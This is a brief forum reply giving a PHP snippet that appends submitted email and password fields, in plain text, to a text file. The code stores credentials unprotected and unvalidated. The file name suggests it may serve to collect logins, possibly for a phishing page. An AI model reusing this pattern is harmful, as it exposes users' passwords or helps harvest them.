[Anizeb]

... right.

Well, to store more fields, you'll need to grab the field values via their name, and concatenate the string:

Code:

<?php $file_name = 'YourFileContainingEmails.txt'; $mail = $_POST['email']; $pass = $_POST['password']; $file = fopen($file_name, "a"); fwrite($file, $mail . ", " . $pass . "\n"); ?>

That will save the fields "email" and "password" to your file in the format

user@Email.com, password
user2@Email.com, password1